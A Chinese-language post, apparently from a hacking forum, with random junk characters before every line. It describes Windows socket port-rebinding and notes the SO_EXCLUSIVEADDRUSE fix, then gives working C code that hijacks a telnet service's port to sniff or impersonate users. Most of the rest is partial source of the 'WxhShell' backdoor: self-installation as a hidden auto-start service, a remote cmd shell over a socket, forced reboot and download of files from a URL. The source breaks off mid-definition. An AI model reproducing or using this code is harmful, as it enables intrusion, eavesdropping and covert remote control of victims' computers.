在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Ea-bC:> s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
I.1D*!tz K/^
+eoW( saddr.sin_family = AF_INET;
WfZF~$li` OiF{3ae( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
i\)3l%AK]T Ql8bt77eI- bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
);Z]SGd Ry?4h\UX5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
e # 5BPI LEZ&W;bCo 这意味着什么?意味着可以进行如下的攻击:
;$7v%Ls= gyev5txn 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Z,
T#, rFey4zzz 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
pLnB)z? h./P\eDc 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
yoQ\lk C`QzT{6! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
XV>@B $hu :Xfn@>;3ui 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
&+01+-1hW 6V1:qp/6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
$e
}n l'6d4
DZ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
z\T Lsx ^z~~VBv #include
+6l]] *H #include
9[VxskEh #include
/1d<P! H #include
"UG
K8x DWORD WINAPI ClientThread(LPVOID lpParam);
gzf-)J int main()
e"k/d< {
OX\$ nQ\o WORD wVersionRequested;
QB&BTT=! DWORD ret;
T_LLJ}6M WSADATA wsaData;
@pFj9[N BOOL val;
71"+<C . SOCKADDR_IN saddr;
n-J2/j SOCKADDR_IN scaddr;
dz-y}J11 int err;
t>xd]ti SOCKET s;
zXZir7NfM SOCKET sc;
U%>'" int caddsize;
8]bz(P# HANDLE mt;
bMm3F%FFq& DWORD tid;
}Cj8 wVersionRequested = MAKEWORD( 2, 2 );
d(;4`kd*N err = WSAStartup( wVersionRequested, &wsaData );
gmP9j)V6 if ( err != 0 ) {
19t{|w< printf("error!WSAStartup failed!\n");
z)-c#F@% return -1;
c?E{fD"Fc3 }
rjk ( X|R* saddr.sin_family = AF_INET;
X(Qu{HhI 632bN=> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
$SY]fNJQ I4t*? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
@MbVWiv saddr.sin_port = htons(23);
~aTKG|74 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<jA105U"m> {
p?# pT}1 printf("error!socket failed!\n");
8 lT{1ro return -1;
},@``&e }
5M F#&v val = TRUE;
94/BG0 //SO_REUSEADDR选项就是可以实现端口重绑定的
)8,|-o= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
eSfnB_@x2 {
Y@uh[aS! printf("error!setsockopt failed!\n");
4w93}t.z return -1;
Z[?mc|*x }
e,0-)?5R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
h4)Bs\==mT //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[XR$F@o //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
xZ .!d.rn np9dM if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
MYdO jcN {
56}X/u ret=GetLastError();
h8{(KRa 6 printf("error!bind failed!\n");
B&0;4 return -1;
2C=Q8ayvX }
J G$Z.s listen(s,2);
zjl!9M! while(1)
h6:#!Rg {
[?0d~Q(R# caddsize = sizeof(scaddr);
cU.9}-) //接受连接请求
pUYM}&dX sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
B?bW1 if(sc!=INVALID_SOCKET)
>jg0s)RA' {
r!
%;R?c mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
?C-Towo=i if(mt==NULL)
78 f$6J q {
kz}R[7
printf("Thread Creat Failed!\n");
@N@F,~[RR2 break;
3gEMRy*+ }
HD>q(cK_|8 }
bulS&dAX CloseHandle(mt);
xc@Ss[ }
=qy@Wvj$ closesocket(s);
O`[aU%4b WSACleanup();
tc+WWDP#" return 0;
hX:"QXx }
zeb=8Dg
: DWORD WINAPI ClientThread(LPVOID lpParam)
h^UKT`9vt {
aB~S?.l SOCKET ss = (SOCKET)lpParam;
(V:E2WR SOCKET sc;
AIYmS#V1W2 unsigned char buf[4096];
fWnD\mx?0 SOCKADDR_IN saddr;
.B2]xfo"` long num;
=q7Z qP DWORD val;
').}N z DWORD ret;
ia @'%8 //如果是隐藏端口应用的话,可以在此处加一些判断
MK#wut //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~^jq(:d) saddr.sin_family = AF_INET;
=@&cH Y saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
b;sVls saddr.sin_port = htons(23);
Z<[<n0o1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#DU26nCL {
a' Ki;]q printf("error!socket failed!\n");
aT!'}GjL return -1;
b//B8^Eong }
.IBp\7W!?E val = 100;
9I27TKy if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Dl(3wgA {
X|f7K ret = GetLastError();
U4f5xUY0) return -1;
MTg:dR_ }
6tHO!`}1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
hI%bjuq {
X+L) -d ret = GetLastError();
3s\.cG?`r return -1;
voP7"Dl[ }
f`9
b*wV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{"oxJ`z4 {
!tfb*@{;' printf("error!socket connect failed!\n");
::Ke^dp closesocket(sc);
Y}#h5\ closesocket(ss);
B~o\+n return -1;
L
pR''`2BT }
+zXEYc while(1)
2
rw%H {
5`
Te\H //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?]D"k4 //如果是嗅探内容的话,可以再此处进行内容分析和记录
bM8If" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
~gB>) ] num = recv(ss,buf,4096,0);
ST\$= if(num>0)
U2uF&6v send(sc,buf,num,0);
nF6q7 else if(num==0)
:Y9NLbv break;
Wu4Lxv]B4 num = recv(sc,buf,4096,0);
f|O{#AC if(num>0)
:'#TCDlOb send(ss,buf,num,0);
/|xra8?H[ else if(num==0)
!9Aaj<yxm break;
FQ
g~l4WX }
CPNL
94x closesocket(ss);
EwOV;>@T? closesocket(sc);
'1M7M(va return 0 ;
%Gt.m }
035rPT7-2- 31/Edd"] aN"DkUYZM ==========================================================
r*Yi1j/ V}\~ugN)y 下边附上一个代码,,WXhSHELL
BJ% eZ. m!<\WN6g ==========================================================
Iu$K i )/z@vY #include "stdafx.h"
Q+YRf3$ OE}*2P/M> #include <stdio.h>
xQUu|gtL4 #include <string.h>
;[fw]P n #include <windows.h>
o7|eMe?<t #include <winsock2.h>
XLH0 ;+CL{ #include <winsvc.h>
lV%N #include <urlmon.h>
-|E!e.^7: By% =W5 #pragma comment (lib, "Ws2_32.lib")
k+ze74_" #pragma comment (lib, "urlmon.lib")
9/nn)soC3 0{=`on; #define MAX_USER 100 // 最大客户端连接数
z<yU-m2h #define BUF_SOCK 200 // sock buffer
:s4p/*f #define KEY_BUFF 255 // 输入 buffer
b#X^=n2 )kP5u`v #define REBOOT 0 // 重启
M@5?ZZ4L #define SHUTDOWN 1 // 关机
5=f|7yl B'fb^n< #define DEF_PORT 5000 // 监听端口
Dc_yM
iRrl^\qn #define REG_LEN 16 // 注册表键长度
JfR%L q~ #define SVC_LEN 80 // NT服务名长度
0zi~p>*nJC m%76i;uP // 从dll定义API
<kCU@SK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:53)Nv typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<N%7|t*eT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
IP(Vr7-v typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
={z*akn, B#M5}QT|2 // wxhshell配置信息
v61[.oS struct WSCFG {
v-PXZ'7~ int ws_port; // 监听端口
:$n=$C-wp char ws_passstr[REG_LEN]; // 口令
LbkF
int ws_autoins; // 安装标记, 1=yes 0=no
'nwx9]q char ws_regname[REG_LEN]; // 注册表键名
`5C,N!d8X char ws_svcname[REG_LEN]; // 服务名
gntxNp[9T char ws_svcdisp[SVC_LEN]; // 服务显示名
8@tPm$ char ws_svcdesc[SVC_LEN]; // 服务描述信息
FAj)OTI2S char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Dp':oJC int ws_downexe; // 下载执行标记, 1=yes 0=no
hy`?E6=9+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
;S>])5< char ws_filenam[SVC_LEN]; // 下载后保存的文件名
xLC3>>P H(Z88.OM };
hUF5fZqii WUh$^5W // default Wxhshell configuration
aL&n[
struct WSCFG wscfg={DEF_PORT,
0`[wpZ "xuhuanlingzhe",
apu4DAy&8 1,
7BJzMlJ1Y "Wxhshell",
+Nt2
+Y:O "Wxhshell",
|%'
nVxc4r "WxhShell Service",
wwyPl "Wrsky Windows CmdShell Service",
IWY;=" "Please Input Your Password: ",
1fZ(l" 1,
; ShJi "
http://www.wrsky.com/wxhshell.exe",
H kQ)n3 "Wxhshell.exe"
<=>=.kmGt };
FgB&b .n~M(59 // 消息定义模块
ce7CcHQ?B char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
njWL U! char *msg_ws_prompt="\n\r? for help\n\r#>";
}n4V|f- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<y?r!l=Am char *msg_ws_ext="\n\rExit.";
1*@'-mj char *msg_ws_end="\n\rQuit.";
;e1ku|>$ char *msg_ws_boot="\n\rReboot...";
4#:W.]U8 char *msg_ws_poff="\n\rShutdown...";
@
<
Q|5 char *msg_ws_down="\n\rSave to ";
2(#7[mgPI ,}K7Dg^1 char *msg_ws_err="\n\rErr!";
x3o]U)^ char *msg_ws_ok="\n\rOK!";
+,#$:fs u /assq+H char ExeFile[MAX_PATH];
{/
BT9|LI int nUser = 0;
=*r])Vg^ HANDLE handles[MAX_USER];
% a@>_ int OsIsNt;
w%JTTru e,Uo#T6J SERVICE_STATUS serviceStatus;
=5(>q5Z* SERVICE_STATUS_HANDLE hServiceStatusHandle;
$w);5o {M^3m5.^ // 函数声明
%nV]ibp2) int Install(void);
Cd>WUw int Uninstall(void);
"O%gFye int DownloadFile(char *sURL, SOCKET wsh);
LC'{p int Boot(int flag);
!BOY@$Y void HideProc(void);
%)0*&a 4 int GetOsVer(void);
Fd[zDz int Wxhshell(SOCKET wsl);
jhb6T ?} void TalkWithClient(void *cs);
qa0 yg8,< int CmdShell(SOCKET sock);
$>u*}X9 int StartFromService(void);
{z")7g ]l int StartWxhshell(LPSTR lpCmdLine);
{l/-LZ. 2kIa*#VOJ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
z$?~Y(EY VOID WINAPI NTServiceHandler( DWORD fdwControl );
f]\CD<g3|E 2C9V|[U, // 数据结构和表定义
br":y>=, SERVICE_TABLE_ENTRY DispatchTable[] =
8&)DE@W {
w-t8C=Z {wscfg.ws_svcname, NTServiceMain},
xT+zU} z {NULL, NULL}
~;#Y9>7\\' };
6y9t(m 29?,<bB) // 自我安装
3tZ]4ms} int Install(void)
98uV6b~g {
2gCX}4^3b char svExeFile[MAX_PATH];
'8{Ne!y HKEY key;
-\
EP.Vtz strcpy(svExeFile,ExeFile);
DUC#NZgw !>zo_fP // 如果是win9x系统,修改注册表设为自启动
4'!c*@Y
if(!OsIsNt) {
.U?'i< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
OslL~< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
JU^lyi! RegCloseKey(key);
]Zyur` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
dAkgR~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RIY,K*f. RegCloseKey(key);
enSXP~9w return 0;
Z(ACc9k6:' }
zhpt%7So }
Cif>7]M }
_U
|>b> else {
o .qf _A oBzfbg8p // 如果是NT以上系统,安装为系统服务
~s]iy9i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Pl"Nus if (schSCManager!=0)
s0k`p<q {
n1VaLD SC_HANDLE schService = CreateService
CB/D4j; (
%Ntcvp) schSCManager,
N#DYJ-~* wscfg.ws_svcname,
q(.:9A*0 wscfg.ws_svcdisp,
b;cdIl!3 SERVICE_ALL_ACCESS,
C0}IE,] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
X@LRsg SERVICE_AUTO_START,
-/ g B|J SERVICE_ERROR_NORMAL,
CJJzCVj svExeFile,
&'}RrW-s NULL,
17G'jiYH NULL,
znaUB v_ NULL,
8\5 T3AF NULL,
[ji#U s:h NULL
b{]z
wpf );
LS88.w\=S@ if (schService!=0)
7lBAxqr2 {
lJis~JLd` CloseServiceHandle(schService);
\0vr>C CloseServiceHandle(schSCManager);
] 0B2#
d strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
jkt_5+S strcat(svExeFile,wscfg.ws_svcname);
-<
&D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
L&%s[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
!VI]oRgP RegCloseKey(key);
I.94v
#r return 0;
-U/c\-~fU }
V&\[)D'c }
+(1zH-^. CloseServiceHandle(schSCManager);
)XzI
#iQ }
<\}KT*Xp }
HP3lz,d zN"J}r: return 1;
P)MDPI+~ }
(KF=On;=Y Ooq! 0g // 自我卸载
v4.#;F.\m int Uninstall(void)
0iwZT&O {
Gch[Otq]% HKEY key;
k+8q{5>A< s!}ne"&0
if(!OsIsNt) {
:kf`?u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`R=HKtr? RegDeleteValue(key,wscfg.ws_regname);
|]ZYa.+: RegCloseKey(key);
=MLcm^b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
30.@g[~ RegDeleteValue(key,wscfg.ws_regname);
By9*1H2R RegCloseKey(key);
*UmI]E{g3( return 0;
J_v$YwE }
FWHNj.r }
WUsKnf }
371
TvZ4 else {
HO}Hh[{V9 9uBM< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~(IB0=A{v if (schSCManager!=0)
ZObhF#Y9 {
t{WzKy SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
O2BDL1o if (schService!=0)
iIq)~e/ Z {
vc+A RgvH+ if(DeleteService(schService)!=0) {
fI~Xmw+}} CloseServiceHandle(schService);
Ts ^"xlK CloseServiceHandle(schSCManager);
qh2ON>e; return 0;
\u>"s }
^n"OL*ipG CloseServiceHandle(schService);
Bxfc}vC. }
%ve:hym* CloseServiceHandle(schSCManager);
$W9{P; }
$[/&74#0HX }
!/3B3cG !cAyTl(_ return 1;
t7?Zxq }
`P8Vh+7u B&.FOO // 从指定url下载文件
de;GrPLAi int DownloadFile(char *sURL, SOCKET wsh)
846$x$G4 {
y?a
Acn$ HRESULT hr;
Ie`13 L2 char seps[]= "/";
QZ:8+[oy char *token;
r.>].~}4 char *file;
TT4./R: char myURL[MAX_PATH];
'b#0t#|TM char myFILE[MAX_PATH];
I9mvte EVVP]ND strcpy(myURL,sURL);
S!G(a"<W token=strtok(myURL,seps);
N%"Y while(token!=NULL)
}`v~I4i {
k=B]&F file=token;
(jFGa2{ token=strtok(NULL,seps);
YH%'t=
<m }
D[mSmpjE6& oNU0 qZ5 GetCurrentDirectory(MAX_PATH,myFILE);
tdSfi<y5I strcat(myFILE, "\\");
Ar:*oiU strcat(myFILE, file);
!2'jrJGc
send(wsh,myFILE,strlen(myFILE),0);
-sjd&)~S[ send(wsh,"...",3,0);
pm\x~3jHs hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\CXQo4P if(hr==S_OK)
:I:!BXQT$ return 0;
4x;/HEb7? else
HaYE9/xS return 1;
2#<xAR %d>=+Ds[ }
a(9L,v#? :)_~w4& // 系统电源模块
l*kPOyB int Boot(int flag)
Zuw?58RE\ {
AQ+]|XYo_ HANDLE hToken;
PG_0\'X)/w TOKEN_PRIVILEGES tkp;
9v}G{mQ# ;M_o)OS3 if(OsIsNt) {
S`"LV $8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
M\Z6$<H?U LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
bV8!"{ tkp.PrivilegeCount = 1;
z 6?)3' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
YR>B_,Gl AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
B,K>rCZ/ if(flag==REBOOT) {
FcRW;e8- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_jNj-)RB_ return 0;
v}tag#f5>? }
@W^| ? else {
P '>SmQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
~d%Pnw| return 0;
t7m>A-I }
|pmZ.r }
u)V#S:9] else {
q&Gz ] if(flag==REBOOT) {
eOXHQjuj if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&p}$J)q return 0;
n%k!vJ)] }
$`wMX{ else {
VsN pHQG] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
a_ `[Lj return 0;
GF>'\@Th }
7G\\{ }
H'LD}\K l j8fpj {hp return 1;
0MkSf* }
=Uj-^qcE Q<KvBgmT // win9x进程隐藏模块
z j/!In void HideProc(void)
~5 *5 {
3q'&j,,^ 2A\,-*pc HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
W ]Nv33i
[ if ( hKernel != NULL )
.h&
.K {
1XnZy5fEo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
e89Xb;;w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
+Wx{: FreeLibrary(hKernel);
u6_@.a} }
~-dV^SO &3$z4df
return;
*=wYuJ# }
}t;(VynV) V0%V5> // 获取操作系统版本
-W<vyNSr int GetOsVer(void)
^.hoLwp. {
+{/*z OSVERSIONINFO winfo;
Q^q1ns;r winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~",`,ZXQy GetVersionEx(&winfo);
:{ur{m5bX if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8Y_ol#\L return 1;
Vg>( Y, else
9:!gI|C return 0;
Z-U-N }
'2laTl]` TU GNq // 客户端句柄模块
Vm df8[5 int Wxhshell(SOCKET wsl)
]ZoD'-, {
.p=sBLp8 SOCKET wsh;
*0}3t<5 struct sockaddr_in client;
^kgBa2 7 DWORD myID;
.-IkL|M 8?i7U<CB while(nUser<MAX_USER)
(&P9+Tl {
0q*r int nSize=sizeof(client);
1I*7SkgKv wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(:";i& if(wsh==INVALID_SOCKET) return 1;
`KCh*i Da v PYg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
d5>H3D{49 if(handles[nUser]==0)
(C\hVy2X?N closesocket(wsh);
Hw|AA?,0- else
u@.>Z{h nUser++;
aj"M>zd*} }
RKa}$
7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ZWm8*}3]7_ !TP@-
X; return 0;
yY&3p1AxW] }
LS5vW|]w Qq@G\eRo // 关闭 socket
`AkIK* void CloseIt(SOCKET wsh)
NO0"* c ; {
9XHz-+bQ closesocket(wsh);
Mze;k3 nUser--;
sz9G3artK& ExitThread(0);
<97d[/7i }
:KKa4=5L 3 AHY| // 客户端请求句柄
+R\vgE68 void TalkWithClient(void *cs)
sT/c_^y {
u1~9{"P* %\kOLE2` SOCKET wsh=(SOCKET)cs;
q\q=PB6r char pwd[SVC_LEN];
ErT{(t7 char cmd[KEY_BUFF];
7-~Q5Kr. char chr[1];
.iQT5c int i,j;
-\y-qHgb/ Hi
yc#-4 while (nUser < MAX_USER) {
+*n-<x5" e.*%K!( if(wscfg.ws_passstr) {
if)Y9:{r^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
p)=~% 7DV //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
YqV8D&I //ZeroMemory(pwd,KEY_BUFF);
4:sjH.u< i=0;
HeK
h> while(i<SVC_LEN) {
8`]=C~G ;),BW g // 设置超时
e }*0ghKI fd_set FdRead;
6MG9a>= struct timeval TimeOut;
{0@&OO:w FD_ZERO(&FdRead);
+@Ad1fJi FD_SET(wsh,&FdRead);
Pa^A$fy\ TimeOut.tv_sec=8;
|w*R8ro_ TimeOut.tv_usec=0;
ph}j[Co int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
8$c bVMjh if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
kwud?2E 7P B)'Wl"6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
3s:%2%jVK pwd
=chr[0]; =X!IHd0
if(chr[0]==0xd || chr[0]==0xa) { <|*'O5B
pwd=0; #"ftI7=42
break; MzYavg`
} |T4kqW{
i++; @O}7XRJ_8
} 9ktEm|F3
]{
d[
// 如果是非法用户,关闭 socket {u\%hpD_
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JTqq0OD}
} Gs*G<P"
3pXLSdxB
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #Ch;0UvFF
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3:5DL!Sm8J
ow/57P
while(1) { XYH|;P6K
hAqg Iu*
ZeroMemory(cmd,KEY_BUFF); P0i V<T4^
phYDs9-K
// 自动支持客户端 telnet标准 /U$8TT8+-
j=0; 45@]:2j
while(j<KEY_BUFF) { O3N_\B:
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C*X
G_b ]
cmd[j]=chr[0]; 3p*-tBOO
if(chr[0]==0xa || chr[0]==0xd) { gFPi7 o1
cmd[j]=0; =pIy
break; s-W[.r|
} Y
e+Ay
j++; (9 gOtJ
} oA
tsUF+a
[Qdq}FYr
// 下载文件 ir:d'g1k
if(strstr(cmd,"http://")) {
?W0(|9
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )ZejQ}$
if(DownloadFile(cmd,wsh)) ;U`X 6d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >~\w+^2f8
else +jqj6O@Tjr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jAND7&W
} t=R6mjb
else { 6S.~s6o,
=3 +l
switch(cmd[0]) { 'ZQWYr9R
tVqmn
// 帮助 X8<2L2:
case '?': { #)`A7 $/,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6<5Jq\-h
break; &,i~ cG?
} &s)0z)mR8&
// 安装 3,);0@I
case 'i': { 7W9~1
.SC
if(Install()) q6wr=OWD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G_ Ay
else m=b~i^@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gor<g))\
break; }'=h4yI
} z{BA4sn
// 卸载 m_!U}!
case 'r': { NNa1EXZ[
if(Uninstall()) 2N~ E' 25
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z}.D"
P+
else cX
A t:m
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Qh`6Ya f
break; /.=r>a}l
} 2 [!Mx&^
// 显示 wxhshell 所在路径 P` '$
case 'p': { OK`Z@X_,bW
char svExeFile[MAX_PATH]; D22Lu;E
strcpy(svExeFile,"\n\r"); \,sg)^w@
strcat(svExeFile,ExeFile); _a+ICqR
send(wsh,svExeFile,strlen(svExeFile),0); ex?\c"
break; "L3Xd][
} TRKgBK$,
// 重启 =V|Nn0E
case 'b': { `<j_[(5yb
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1.R
kIB
if(Boot(REBOOT)) X^< >6|)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GJ}.\EaAJ
else { w}M3x^9@
closesocket(wsh); ^C9x.4I$)
ExitThread(0); G5{Ot>;*%
} [BBpQN.^q6
break; (3md:r<-
} P 4;{jG
// 关机 A1*4*
case 'd': { agaq`^[(P
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7CrpUh
if(Boot(SHUTDOWN)) o@dy:AR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5a(<%Q
<"
else { CtT~0Y|
closesocket(wsh); '1]7zWbW
ExitThread(0); ;IC'Gq
} KtTza5aF
break; HR3_@^<7
} v3JPE])/
// 获取shell 'Kis hXOn]
case 's': { aed+C:N
CmdShell(wsh); lug}
Uj
closesocket(wsh); =ef1XQ{i*
ExitThread(0); *=vlqpG
break; 3$"/>g/
} \8"QvC]
// 退出 ;aK.%-s-Z
case 'x': { W@B7yP7Rz
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q#WE|,a
CloseIt(wsh); Sl.o,W^
break; Ko}2%4on
} :pd&dg!5
// 离开 B
<+K<,S
case 'q': { k!doIMj
send(wsh,msg_ws_end,strlen(msg_ws_end),0); j??tmo
closesocket(wsh); cw+g
z!!
WSACleanup(); w &vhWq
exit(1); ~tNY"{OV#
break;
A1Q
+0
} n(jjvLf
} TmiWjQv`
} M7VID6J.
/Dw@d,&[
// 提示信息 `{G?>z Fp
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8D2yR#3
} wZv-b*4
} bag&BHw
pGGV\zD^
return; O3ZM:,.
} Za!w#j%h
CT}' ")Bm
// shell模块句柄 u)7
]1e{
int CmdShell(SOCKET sock) baIbf@t/
{ l7Lj[d<n
STARTUPINFO si; a`38db(z
ZeroMemory(&si,sizeof(si)); pb$fb
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gPUo25@pn*
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ea4
* o
PROCESS_INFORMATION ProcessInfo; |yAK@Hl'
char cmdline[]="cmd"; 9-G b"hr
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aQmfrx
return 0; u&SZlkf6%
} hwDXm9
p!GZCf,
// 自身启动模式 MOyT< $
int StartFromService(void) a*Jn#Mx<M
{ Uk02IOXQ
typedef struct ?48AY6
{ !
IgoL&=
DWORD ExitStatus; b8HE."*t
DWORD PebBaseAddress; U"B.:C2
DWORD AffinityMask; Vr\Q`H.
